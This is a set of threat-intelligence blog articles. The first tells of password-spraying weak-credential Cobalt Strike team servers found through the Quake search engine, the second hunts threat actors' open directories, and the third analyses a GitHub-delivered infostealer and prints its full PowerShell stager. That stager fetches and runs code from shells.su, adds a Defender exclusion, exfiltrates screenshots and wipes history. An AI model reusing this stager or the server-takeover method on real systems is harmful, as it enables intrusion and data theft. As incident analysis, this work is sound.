Threat Intelligence
- [Backup] How Did I Take Over CobaltStrike Servers
- Use Searching Engines to Hunt For Threat Actors
- Hey, You Hacked a Hacker! Are You Ready For My Revenge?
- 你敢入侵我电脑?看我扒光你老底
[Backup] How Did I Take Over CobaltStrike Servers
Hi folks, today I would like to share how I take over some Cobalt Strike TeamServers
with Quake and Password Spray Attack. From the perspective of a threat hunter, it is
good to track C2 servers on the Internet. From the perspective of a hacker, it is good to
compromise a host, but it is better to compromise a C2 team server and then take over
all compromised hosts connected to the team server : D
Recon
Before exploitation, we need to recon. Here I use Quake(https://quake.360.net) to
find a list of Cobalt Strike with weak credentials. Quake is something which is similar
to Shodan. The query sentence should be response:“\x00\x00\xca\xfe” AND port:
“50050”
What does it mean? Quake will try some very simple passwords to connect to Cobalt
Strike Team Server. If the authentication is successful, Cobalt Strike Team Server will
return “\x00\x00\xca\xfe” in response. According to search results, there are 417
records, 191 unique IPs currently. Of course, if you do not specify the default port, you
could get more results. To get complete and detailed information, a subscription of
Quake is recommended.

After getting these results, then export IP of these Team Servers as a file. So, let’s use
Password Spray Attack against these Team Servers!
Exploitation
Just a disclaimer, it is unethical and even illegal to actually take over those Team Servers. The article is just a proof of concept, it does not encourage anyone to pwn those servers, even they may belong to unethical hackers.
Because Cobalt Strike Team Server has rate limit, it is not wise to brute force a single
Team Server with a big password list. Instead, we can use spray a single simple
password to a list of Team Servers.
I download and modify a script from https://github.com/ryanohoro/csbruter to
enable it to launch Password Spray Attack.


Oh, among these 158 Team Servers, 24 of them use the same simple password! Just
select one and try to log in!

Oh no! The version of your client should match target Team Server’s! Actually most of
these Team Servers’ version are 4.0 lol.
Try another one, cool, there are a lot of bots controlled by the Team Server! By this way we
are able to successfully find and take over some Cobalt Strike Team Servers!

Tips
The list I used is absolutely not an exhaustive list of Team Server with a weak
password. If you want to find more Team Servers with a weak password, here are some
tips
1: Remove the specified port and modify the script.
2: If a Team Server does not show up in previous search results, it does not mean the
Team Server has a strong password, since Quake will only try some simplest
passwords like 123123, 123456, password, etc.
3: Just try different fingerprinting methods to get a large list of Cobalt Strike Team
Servers, and then spray a single simple password to them. If you are lucky, you will
take over many Team Servers from the list : P
Thanks for reading! Happy hacking!
Use Searching Engines to Hunt For Threat Actors
Background
Hi folks, today, I’d like to discuss how to leverage search engines to identify vulnerable servers used by threat actors. These actors often employ multiple servers for various purposes, such as phishing infrastructure, command and control (C2) infrastructure, and tool/payload servers. Due to poor operational security (OPSEC) or budget constraints, some may even use a single server for multiple functions.
People make mistakes, including threat actors. While they may employ advanced C2 frameworks, custom C2 profiles, redirectors, legitimate domains and certificates, and evasive tradecraft, a single mistake, such as an open directory misconfiguration, can undermine their entire effort.
As I am not a threat-hunting expert, my approach to identifying threat actors’ infrastructure may not be exhaustive. However, in this article, I will demonstrate how to use the search engine Quake (https://quake.360.net/) to locate these misconfigured (Open Directory) infrastructures and provide an analysis of one specific case.
Motivation
As a red team operator, I fully understand the importance of OPSEC. Although I am not a threat-hunting expert, utilizing threat intelligence to track and locate other hackers and observing their mistakes can help enhance my own OPSEC awareness, allowing me to avoid low-level mistakes. Moreover, whether we are red team or blue team operators, our common goal is to make cyberspace safer.
Threat actors who engage in malicious cyber activities should not have a foothold in cyberspace. While we may not possess law enforcement authority, we can at least expose their activities and warn others about their danger and existence.
The threat intelligence community boasts numerous outstanding threat hunters, such as Michael Koczwara, whose articles have provided me with significant insights. These threat hunters expose threat actors’ infrastructure IPs and domain names, assisting in enriching blacklists for both individuals and cybersecurity products. This article (https://bank-security.medium.com/hunting-cobalt-strike-servers-385c5bedda7b) explains how to use different methods, such as default Cobalt Strike certificates and default 404 responses, to search for Cobalt Strike servers on the internet using the Shodan search engine. Other articles, like https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f, analyze the characteristics of C2 servers beyond Cobalt Strike and how to locate them using search engines.

Building on this foundation, we can compile a list of threat actor servers and feed it to security products, automating the isolation of communication with these malicious servers and alerting people to their existence. However, since most of us do not have law enforcement powers, our ability to take further action is limited. That said, if threat actors make low-level mistakes like open directory, we can counter them more effectively, for example, by gathering more comprehensive evidence, analyzing malicious file samples, and potentially identifying the threat actors based on the downloadable files.

Searching Engine Stuff
There is a wide variety of internet asset search engines available, such as Shodan, Censys, Zoomeye, and Fofa. However, when it comes to locating threat actor servers with open directory configurations, my personal choice is the Quake search engine. Quake’s syntax supports keyword searches based on HTTP titles and responses. For sites with open directory configurations, the webpage title is typically “Directory listing for /” or “Index of /”. The open directory page title is primarily determined by the web server in use. For instance, if it’s an Apache2 server, the title would be “Index of /”, and if it’s a Python HTTP server, the title would be “Directory listing for /”.


Threat actors tend to prefer setting up temporary HTTP file servers using Python due to its simplicity and convenience. However, sometimes they forget to shut down the Python HTTP server promptly, leaving traces we can track. Filtering by HTTP response is relatively straightforward; we can enter the name of any security tool or malware, such as Mimikatz, Cobalt Strike, or Rubeus.
Some query examples:
title: “Directory listing for /” and response:”cobaltstrike”
Based on the provided screenshot, we can see that 67 servers are currently or have previously host the Cobalt Strike C2 framework tool for threat actors to download. I speculate that the majority of these Cobalt Strike instances are likely to be unauthorized copies.

title: “Directory listing for /” and response:”mimikatz”
49 servers are currently or have previously host the hack tool mimikatz for threat actors to download.

title: “Directory listing for /” and response:”exp”
We use this query to search servers that are currently or have previously host vulnerability exploits.
Take a close look at this server, from the preview, we can see a .ovpn file. It could be used to connect to the threat actor’s internal network (Or it is a victim’s .ovpn file). Unfortunately, the threat actor already shut down the Python HTTP server by the time I found it.

title: “Directory listing for /” and response:”lsass”
We can use this query to search servers that are currently or have previously host lsass dump. We can see server 80.85.156.184 was used by a threat actor to save lsass dump file.

Currently, this server is not accessible, some other threat hunters already noticed this server before.

In conclusion, we can flexibly adjust the HTTP response keywords for endless search possibilities. However, the ultimate goal remains the same: to locate threat actors’ hacking tools, malware, vulnerability exploits, and “spoils” obtained from their victims. If we happen to find their personal files, like an .ssh private key, a .ovpn file, document-based files, their bad day go to worse day : D
Case Analysis
Among the improperly configured servers discovered, I would like to share one of the most interesting examples (http://81.68.227.204:8000/). If this server is not a honeypot, then this hacker certainly has zero OPSEC. Upon visiting this URL, it becomes evident that the hacker is running a Python HTTP server at the root directory of their C drive, as we can see directories such as Windows, Users, and Program Files. We can easily find some hack tools, such as CS4.4 K8 (Downloaded from https://github.com/k8gege/Aggressor/releases/tag/cs), 扫描器(scanner).

This hacker seems to have a romantic side, as there is a folder named ‘love’ in the C drive root directory, which contains a web animation as shown in the picture. It appears to be a small surprise prepared for his girlfriend, and from this, we can know her name. However, it’s worth noting that this information could also be fabricated.

The hacker installed multiple programs, such as Redis, Python, GO language, Metasploit, QQ, etc. And this HTTP server was run as Administrator

We can see his Cobalt Strike team server’s log:

The hacker used some insecure commands like shell whoami, sleep 0.

The hacker enabled stager, and we can see some victims he controlled.


The hacker also uses this server as a challenge box by setting up a local lab.


The hacker deleted some other user accounts and their directories. The SID ends with 500, so it is a local administrator account. Maybe the account was created by other hackers?

From ToDesk config file, I found this hacker’s phone number, and I found his social media account, should I add him and say hello? : D



Alright, considering we have access to the entire C drive, on the surface, we are examining this open directory, but in reality, what we are doing is almost akin to local reconnaissance. Let’s directly jump to an issue that could lead to this hacker’s server being compromised.
The server is running IIS server, and we can access IIS directory. We find a file aspx.aspx, it is basically a one-liner webshell.



(Please stop trying “?chopper=whoami”, the payload is not this one, and you cannot see the output.)
I am not sure if the backdoor is used by the hacker for remote management, or other hackers already compromised this server and left this backdoor lol
Though he is a threat actor, we still should not attempt to exploit it.
Finally, let’s use Shodan to analyze this server:

It opens multiple ports, and he did not enforce authentication for Redis. Some people already noticed this unauthenticated Redis server and connected to it.


Summary
Thank you for reading my article, and I’d like to express my gratitude to the threat hunters who have inspired me. Threat intelligence is a fascinating field that has greatly aided in enhancing my red team skills. Together, let’s work towards exposing threat actors and countering them within the bounds of authorization (Directly attacking these servers is not legitimate). Happy hunting!
References
https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f
https://bank-security.medium.com/hunting-cobalt-strike-servers-385c5bedda7b
https://twitter.com/MichalKoczwara?source=post_page-----74be52976e9f--------------------------------
Hey, You Hacked a Hacker! Are You Ready For My Revenge?
As an offensive security professional, I naturally focus on offensive techniques, and most of my previous writing has covered red teaming, security research, and other offensive-security topics. This article is therefore unusual for me: this time, I was not the one attacking. I was the victim.
I have to admit that having my personal computer compromised after executing a malicious script was somewhat embarrassing, and the incident caused a fair amount of disruption. At the same time, it also became an unforgettable and valuable lesson for me. What made the incident particularly interesting was that my offensive-security background brought both helpfulness and a blind spot.
Because I have been thinking like an attacker, I understand that mindset reasonably well. Based on observed code quality, OPSEC, engineering maturity, and other operational choices, I could profile the threat actor and decide where to investigate first rather than treating every possible TTP as equally likely. That intuition helped me locate the payload and persistence quickly and cut off their host-level access within a relatively short time window.
But the same mindset also created my blind spot. As a red teamer, I am accustomed to chasing the ultimate objective: the crown jewels, privileged access, or whatever represents the final goal of an engagement. Real threat actors do not necessarily think that way. Almost every piece of loot can be valuable or tradable to someone. They do not need to reach the crown jewels for the compromise to be profitable. The compromise itself can already be a success, and so can individual pieces of data stolen along the way.
Part One focuses on that incident: the initial compromise, first-round malware analysis, persistence hunting, host-access removal, and the aftermath of that blind spot.
Of course, after all, I am still a red teamer, and I refused to remain the victim for too long. Part Two is where my revenge begins. I did not hack back. Being a victim does not make unauthorized intrusion ethical or authorized. But that did not mean I had to stop investigating. There were other ways to make life considerably more painful for the people behind the operation: exposing the broader info-stealer network, tracing the infrastructure and public identities around it, and eventually identifying one particularly interesting individual who appeared to be part of that economy.
The Story Began in an Assumed Safehouse: A GitHub Repository
I was looking for an open-source alternative for PDF reading and editing when I came across a GitHub repository that initially appeared legitimate. It had a decent number of stars and forks, and the README was concise, with a one-line installation command that addressed exactly what most users want: minimal setup and immediate execution.
GitHub is generally a trustworthy platform, despite the fact that malicious repository campaigns are nothing new. However, I did not think too much about it and simply ran the one-liner...
The installation appeared to take some time. While waiting, I went back and reviewed the README more carefully. That was when several red flags became obvious:
- The README was not relevant to PDF software at all.
- The external domain referenced by the installation command looked unusual.
- While the repository had a decent number of stars and forks, the account itself was very new.
I immediately interrupted the installation. At that point, I knew it was already too late, and some execution must have occurred. Even so, stopping the script was still valuable in preventing whatever had not yet completed. And from that moment on, I had to race against time. And the PowerShell one-liner became the first clue I wanted to follow.
Stage 1: PowerShell Delivery
The installation command retrieved and executed a remote PowerShell script through Invoke-Expression. The first-stage script was relatively small: it selected TLS 1.2 and decoded a Base64 string using FromBase64String and UTF-8 before passing the result onward.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$encodedCommand = "aXJtIC1VcmkgImh0dHBzOi8vc2hlbGxzLnN1L2VuY3J5cHRlZC9hcGkucHMxIiAtVXNlckFnZW50ICJhaXprSGtLdGZOZHptYXljT0pmamhEUGFOTENWWUtNTXBrQWNVeXN5SXBZakFVaE5McXNRTEd5VnlJV2ZDZ25FQmlKWWVqclpMd0N3aG1Wa0VqSXhLSGVQTVllZUVNV1hhcklua211d3JVbXpCSXMiIHwgaWV4"
$decodedCommand =
[System.Text.Encoding]::UTF8.GetString(
[Convert]::FromBase64String($encodedCommand)
)
Decoding the Base64 content produced:
irm -Uri "https://shells.su/encrypted/api.ps1" `
-UserAgent "aizkHkKtfNdzmaycOJfjhDPaNLCVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs" |
iex
Its purpose was therefore straightforward: retrieve a second-stage PowerShell script from shells[.]su and immediately execute the response.
One interesting detail is that the live version of this first-stage script later changed. At the time of my compromise, only the URI itself was encoded; the operator subsequently modified the delivery chain so that the complete secondary request, including the custom User-Agent, was hidden inside the Base64 blob. This suggested that the infrastructure was still being actively maintained rather than representing an abandoned one-off campaign.
Stage 2: Stager, Victim Telemetry, and Staging
The second-stage script was substantially more important because it exposed most of the initial execution chain.
# ------------------------------------ LAUNCH ------------------------------------- #
$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
[Net.WebRequest]::DefaultWebProxy = [Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials
function Show-Progress {
param(
[int]$Percent,
[string]$Text = ""
)
$esc = [char]27
$width = 20
$filled = [math]::Floor($width * $Percent / 100)
$empty = $width - $filled
$gray = "$esc[100m"
$darkGray = "$esc[48;5;236m"
$reset = "$esc[0m"
[Console]::Write(
"`r $gray$(' ' * $filled)$reset$darkGray$(' ' * $empty)$reset $Percent% $Text"
)
}
# ----------------------------------- VARIABLES ----------------------------------- #
$site = "https://shells.su"
$zipUrl = "$site/encrypted/1.zip"
$7zaUrl = "$site/encrypted/7za.exe"
$password = '1'
$exePath = '1/Helper.exe'
$work = Join-Path $env:TEMP "svc_$(Get-Random)"
$zip = Join-Path $work '1.zip'
$7za = Join-Path $work '7za.exe'
$dest = Join-Path $work 'out'
# ----------------------------------- VARIABLES+ ---------------------------------- #
$pcName = $env:COMPUTERNAME
$userAgent = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"
$startUrl = "$site/start.php"
$screenUrl = "$site/screen.php"
$endUrl = "$site/end.php"
$firstStepText = '[1/3] Checking for Updates...'
$secondStepText = '[2/3] Initialization Components...'
$thirdStepText = '[3/3] Running Application...'
$firstSubstepText = '[SUCCESSFULLY]'
$secondSubstepText = '[SUCCESSFULLY]'
$thirdSubstepText = '[ERROR]'
if (Test-Path $work) { Remove-Item $work -Recurse -Force }
New-Item -ItemType Directory -Path $work -Force | Out-Null
# ---------------------------------- ADMIN RIGHTS --------------------------------- #
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
# [STEP 1/3]:
Clear-Host
Write-Host "`n $firstStepText" -ForegroundColor Cyan
if (-not $isAdmin) {}
if ($isAdmin) {
Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue | Out-Null
}
# ---< REQUEST 1 >---------------------- GEO -------------------------------------- #
$country = [System.Globalization.RegionInfo]::CurrentRegion.TwoLetterISORegionName
filter CustomTrim { $_ -replace '[\r\n\t]', '' }
$geoServices = @(
@{ Uri = "https://ipwho.is/?fields=country_code"; Path = "country_code" },
@{ Uri = "https://ipapi.co"; Path = $null },
@{ Uri = "https://ipinfo.io"; Path = $null }
)
foreach ($service in $geoServices) {
try {
$response = Invoke-RestMethod -Uri $service.Uri -TimeoutSec 5 -UserAgent $userAgent -ErrorAction Stop
if ($response) {
if ($service.Path -and $response.$($service.Path)) {
$country = $response.$($service.Path).Trim().ToUpper()
} else {
$country = ($response | CustomTrim).ToUpper()
}
if ($country -match '^[A-Z]{2}$') {
break
}
}
}
catch {
continue
}
}
# ------------------------------------- LINKS ------------------------------------- #
$startRequest = "${startUrl}?pc=${pcName}&country=$country"
$screenRequest = "${screenUrl}?pc=${pcName}&country=$country"
$endRequest = "${endUrl}?pc=${pcName}&country=$country"
# ---< REQUEST 2 >--------------------- START ------------------------------------- #
try {
$startScript = Invoke-RestMethod -Uri $startRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null
if (-not [string]::IsNullOrWhiteSpace($startScript)) {
$startBlock = [scriptblock]::Create($startScript)
& $startBlock
}
}
catch {
Write-Warning "$_"
}
# ---< REQUEST 3 >-------------------- DOWNLOAD ----------------------------------- #
try {
if (-not (Test-Path $work)) { New-Item -ItemType Directory -Path $work -Force | Out-Null }
Invoke-WebRequest -Uri $zipUrl -OutFile $zip -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
Invoke-WebRequest -Uri $7zaUrl -OutFile $7za -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
}
catch {}
# ---< REQUEST 4 >------------------- SCREENSHOT ---------------------------------- #
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
try {
$bounds = [Windows.Forms.SystemInformation]::VirtualScreen
$bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$gfx = [System.Drawing.Graphics]::FromImage($bmp)
$gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$ms = New-Object System.IO.MemoryStream
$bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
$gfx.Dispose()
$bmp.Dispose()
$base64 = [Convert]::ToBase64String($ms.ToArray())
$ms.Dispose()
$screenBody = @{
pc = $pcName
image = "data:image/png;base64,$base64"
}
Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}
# [SUBSTEP 1/3]:
for ($i = 0; $i -le 100; $i++) {
Show-Progress $i
Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 20)
}
Show-Progress 100
Write-Host "$firstSubstepText" -ForegroundColor Green
Start-Sleep -Seconds 3
# --------------------------------- OPEN & LOGGING -------------------------------- #
# [STEP 2/3]:
Clear-Host
Write-Host "`n $secondStepText" -ForegroundColor Cyan
try {
if (-not (Test-Path $7za)) { throw "[7za] - Error code: 2" }
if (-not (Test-Path $zip)) { throw "[ZIP] - Error code: 2" }
$unpackParams = @("x", "`"$zip`"", "-o`"$dest`"", "-p$password", "-y")
$null = & $7za x "$zip" "-o$dest" "-p$password" -y 2>&1
if ($process.ExitCode -ne 0) {
throw "[ERROR LOG] 7za: $($process.ExitCode)"
}
}
catch {}
# [RUN FILE]
$exe = Join-Path $dest $exePath
try {
if (Test-Path $exe) {
Start-Process $exe -WorkingDirectory (Split-Path $exe) -Wait -ErrorAction Stop
} else {
throw "[ZIP] - Error code: 2"
}
}
catch {
Write-Warning "$_"
}
if (Test-Path $work) {
Remove-Item $work -Recurse -Force -ErrorAction SilentlyContinue
}
# [SUBSTEP 2/3]:
for ($i = 0; $i -le 100; $i++) {
Show-Progress $i
Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 25)
}
Show-Progress 100
Write-Host "$secondSubstepText" -ForegroundColor Green
Start-Sleep -Seconds 3
# ---< REQUEST 5 >--------------------- ENDING ------------------------------------ #
# [STEP 3/3]:
Clear-Host
Write-Host "`n $thirdStepText" -ForegroundColor Cyan
try {
$endScript = Invoke-RestMethod -Uri $endRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null
if (-not [string]::IsNullOrWhiteSpace($endScript)) {
$endBlock = [scriptblock]::Create($endScript)
& $endBlock
}
}
catch {
Write-Warning "$_"
}
# [SUBSTEP 3/3]:
for ($i = 0; $i -le 100; $i++) {
Show-Progress $i
Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 30)
}
Show-Progress 100
Write-Host "$thirdSubstepText`n" -ForegroundColor Red
Start-Sleep -Milliseconds 500
Write-Host " [ERROR] Failed to load DLL: keygen.dll`n [ERROR] The specified module could not be found.`n [ERROR] Error code: 0x8007007E`n [ERROR] One or more dependencies may be missing.`n [ERROR] Operation failed." -ForegroundColor Red
# ENDING SCREENSHOT
try {
$bounds = [Windows.Forms.SystemInformation]::VirtualScreen
$bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$gfx = [System.Drawing.Graphics]::FromImage($bmp)
$gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$ms = New-Object System.IO.MemoryStream
$bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
$gfx.Dispose()
$bmp.Dispose()
$base64 = [Convert]::ToBase64String($ms.ToArray())
$ms.Dispose()
$screenBody = @{
pc = $pcName
image = "data:image/png;base64,$base64"
}
Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}
Read-Host -Prompt "`n Press Enter to exit"
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Its behavior can be summarized as follows:
Environment setup and privilege check
↓
Temporary working directory / attempted Defender exclusion
↓
Country and host reconnaissance
↓
Start callback / attempted server-supplied PowerShell execution
↓
Encrypted payload archive and 7-Zip downloaded
↓
Desktop screenshot collection and exfiltration
↓
Payload extraction and execution
↓
Temporary artifact cleanup
↓
End callback / attempted server-supplied PowerShell execution
↓
Second screenshot and PowerShell history cleanup
The script configured TLS 1.2 and explicitly inherited the system proxy together with the current user's default network credentials:
[Net.WebRequest]::DefaultWebProxy =
[Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials =
[Net.CredentialCache]::DefaultNetworkCredentials
This is a small but notable implementation detail. It improves compatibility with environments where outbound HTTP traffic must traverse an authenticated corporate proxy. It does not mean that the malware specifically targeted enterprises, but the author had considered environments beyond a simple home network.
The stager then defined the staging locations:
site: hxxps://shells[.]su
archive: /encrypted/1.zip
extractor: /encrypted/7za.exe
password: 1
work: %TEMP%\svc_<random>
output: %TEMP%\svc_<random>\out\
In the version I recovered during the incident, the final executable was 1.exe. The later stager snapshot instead expected 1/Helper.exe. That difference is important for the timeline: later snapshots should not be treated as byte-for-byte representations of the version that infected my machine, they have been modifying their payload.
Defender Evasion
If the PowerShell process was already running with administrative privileges, the stager attempted to exclude its temporary working directory from Windows Defender:
Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue
The later version did not actually perform an elevation attempt when the user was non-administrative:
if (-not $isAdmin) {}
This is another area where the delivery chain changed over time. The incident-time notes recorded a RunAs relaunch attempt in the earlier script; that depended on user approval, not a silent UAC bypass. The later reverse engineering of the executable also identified privilege-related functionality in the RAT itself, making it plausible that some responsibilities had shifted away from the PowerShell layer.
Victim Registration and Geographic Profiling
Before downloading the executable payload, the stager attempted to determine the victim's country. It first used the system region as a fallback, then queried public geolocation services including ipwho.is, ipapi.co, and ipinfo.io.
It constructed three staging URLs:
/start.php?pc=<computer-name>&country=<country>
/screen.php?pc=<computer-name>&country=<country>
/end.php?pc=<computer-name>&country=<country>
At first glance, these endpoints appeared to serve primarily as victim-registration and telemetry infrastructure. The staging server received the computer name and country, while screen.php was used separately for screenshot exfiltration. Closer inspection of start.php and end.php, however, revealed an additional capability. The stager attempted to capture the response and execute it as PowerShell:
$startScript = Invoke-RestMethod -Uri $startRequest ... | Out-Null
if (-not [string]::IsNullOrWhiteSpace($startScript)) {
$startBlock = [scriptblock]::Create($startScript)
& $startBlock
}
The same pattern appeared later with end.php. Because the requests carried pc and country, the server had victim-specific attributes available when generating its response. In principle, this could support different follow-on actions for different hosts or locations. Without the server-side PHP implementation, I cannot confirm whether such selective behavior was actually implemented.
There was, however, a significant implementation bug. Piping the result into Out-Null discarded the HTTP response before it could be assigned to $startScript. The request itself would still be sent, so the server would still receive the victim information, but the subsequent execution branch would have no response to execute. The same mistake affected $endScript. The operator had apparently built a server-controlled execution path and then accidentally disabled it. In my case, that path appears to have failed because of the attacker's own bug, rather than my containment.
The staging infrastructure therefore served victim identification, screenshot collection, and an attempted server-controlled PowerShell mechanism. The RAT's runtime C2 was separate from this layer.
Screenshot Exfiltration
The stager captured the complete Windows virtual desktop using [Windows.Forms.SystemInformation]::VirtualScreen and $gfx.CopyFromScreen(...). The bitmap was encoded as PNG, converted to Base64, and submitted to screen.php with the computer name:
$screenBody = @{
pc = $pcName
image = "data:image/png;base64,$base64"
}
In the later snapshot, this happened once before the executable payload was launched and again near the end of the fake installation process. If the requests succeeded, whatever was visible across my displays had already been exposed. There was no realistic way to “undo” that part. The realization shaped my immediate response priorities. I divided the situation into damage that had already happened and adversary activity that I could still stop. Although the screenshots belonged to the first category, I could still eliminate the RAT process, persistence, and C2 connectivity.
At the time, this seemed like the obvious prioritization. From my perspective as a red teamer, once I noticed the attack, my instinct was to race against time and stop as much of the ongoing activity as possible. However, stopping the ongoing intrusion is not the same as remediation. What had already happened could not simply be treated as “done,” and the consequences should not be overlooked.
Payload Delivery
The stager downloaded /encrypted/1.zip and /encrypted/7za.exe, then extracted the password-protected ZIP using the password 1. Whatever else that password was intended to accomplish, secrecy from the recipient was clearly not one of its strengths. The extracted payload was launched using:
Start-Process $exe `
-WorkingDirectory (Split-Path $exe) `
-Wait
That WorkingDirectory detail later became relevant during cleanup because the temporary extraction directory remained locked by processes holding handles to it.
User Deception
The script attempted to make the execution look like an ordinary installer or updater. It displayed three stages:
[1/3] Checking for Updates...
[2/3] Initialization Components...
[3/3] Running Application...
These were accompanied by artificial progress bars and randomized sleep intervals. At the end of the sequence, it deliberately printed:
[ERROR] Failed to load DLL: keygen.dll
[ERROR] The specified module could not be found.
[ERROR] Error code: 0x8007007E
[ERROR] One or more dependencies may be missing.
[ERROR] Operation failed.
This was the deception rather than a genuine installation failure. At the simplest level, the message explained why the expected application never appeared: the crack or application had failed because one of its dependencies was missing. Meanwhile, the malicious execution chain had already run. The fake error did something more useful than making the script look like a broken installer. It supplied an explanation that could bring the victim's investigation to a premature end.
From the victim's perspective:
Download software → Run installer → keygen.dll is missing → Installation failed → Find another download
From the attacker's perspective:
Execute stager → Reconnaissance → Screenshot exfiltration → RAT deployment → Fake DLL error
The deception did not need to evade malware analysis, it did not even need to convincingly hide every malicious artifact, it only needed to stop the victim from questioning the apparent cause of the failed installation. If an Instagram, Steam, or Discord account began behaving strangely days later, there would be little reason for normal users to connect it with an apparently unrelated installation failure.
Anti-Forensics
Finally, the stager attempted to erase PowerShell command history:
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Remove-Item (Get-PSReadlineOption).HistorySavePath `
-Force `
-ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
This targets the user's PSReadLine history, including ConsoleHost_history.txt. It is useful against casual inspection, but it is far from comprehensive forensic cleanup. It does not remove independent evidence that may have been recorded in PowerShell Operational logs, process-creation telemetry, EDR records, network logs, or other host artifacts. The code was pragmatic and sometimes error-prone rather than elegant. During extraction, it checked $process.ExitCode despite never assigning $process; the earlier Out-Null mistake was a more consequential example of the same uneven engineering.
Hunting the Payload and Its Persistence
With both PowerShell stages understood, I had a reasonably clear picture of the initial compromise. Host information had been submitted to the staging infrastructure, screenshots had likely been exfiltrated, and the executable payload had already been launched. The objective was no longer to prevent the compromise, but to contain what was still active. Fortunately, the second-stage script exposed the extraction location:
%TEMP%\svc_<random>\out\1\1.exe
I preserved a copy as a sealed sample for later analysis, then removed the executable from the original delivery location. Removing the initial payload, however, was obviously not sufficient. By that point, I had to assume that persistence had already been established.
There were essentially two ways forward: enumerate as many persistence mechanisms as possible, or reverse engineer the sample and let the malware tell me what it had done. The more practical answer was to do both in parallel. I submitted the preserved sample to static-analysis workflows and also used AI-assisted reverse engineering with GPT-5.6 Sol and Opus 5 to increase coverage within the limited time available. An automated pass over an obfuscated malware sample can miss quite a lot. But even an incomplete analysis can save substantial time during an active incident by identifying functions, strings, API usage, persistence paths, and C2 behavior while the human investigator focuses on the live host.
That was the purpose of the first pass: actionable triage, not an exhaustive analysis of every capability. Part Two returns to exactly what remained unanswered.
A Rather Sloppy PowerShell Chain
At this point, the analysis of the two-stage PowerShell chain was more or less complete. Its capabilities were practical enough, and it could certainly still cause real damage to an unsuspecting user, but I could not think very highly of the implementation itself.
Within a relatively small amount of code, I found multiple bugs. The overall code quality was poor, and there appeared to be little consideration for either evasion or OPSEC. The scripts were quite sloppy. When I shared them with a few friends, one of them joked that they looked vibe-coded. Honestly, that was not an unreasonable description.
Still, the sloppiness itself was useful information. It gave me an initial impression of the threat actor’s engineering maturity and skill level, which I could use as a reference when deciding what to investigate next during the incident response. I did not want to overfit that impression, though. An attacker can be inconsistent, reuse someone else’s code, or simply put more effort into one part of an operation than another.
Prioritizing the Persistence Search
The difficulty with persistence hunting is that the search space is enormous. A Windows implant can survive through scheduled tasks, services, Run keys, startup folders, WMI subscriptions, Winlogon modifications, IFEO, COM hijacking, DLL-loading mechanisms, and many other techniques. I therefore needed to prioritize.
My offensive security background, together with my initial impression of their PowerShell stagers, helped suggest an order for the search. I was thinking about what level of complexity they were likely to adopt for persistence, given the skill level I had inferred so far.
Scheduled tasks and other conventional boot or logon mechanisms seemed like more probable starting points than more advanced or complicated techniques. This was still a risky inference rather than a firm conclusion. A crude PowerShell stager did not prove that the native implant behind it would be equally crude. Different operators could be responsible for different parts of the chain, and the binary payload could easily turn out to be much more sophisticated.
That being said, the intuition still changed my search order. Soon, I identified a second copy of the payload at:
C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
The location was chosen to resemble a legitimate Windows component. The parent directory had also been given Hidden and System attributes. More importantly, the supposedly separate RuntimeBroker.exe was not a different executable at all: its hash matched the original 1.exe. Later reverse engineering clarified the self-copy sequence. The filesystem timeline already supplied a particularly useful connection:
2026-08-16, local time (EDT)
23:44:56 RuntimeBroker.exe created
23:44:57 Four malicious scheduled tasks created
The four tasks were:
\Microsoft\Location\MicrosoftUpdaterMachineCore
\Microsoft\Windows\EDP\ScheduledDef
\Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate
\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins
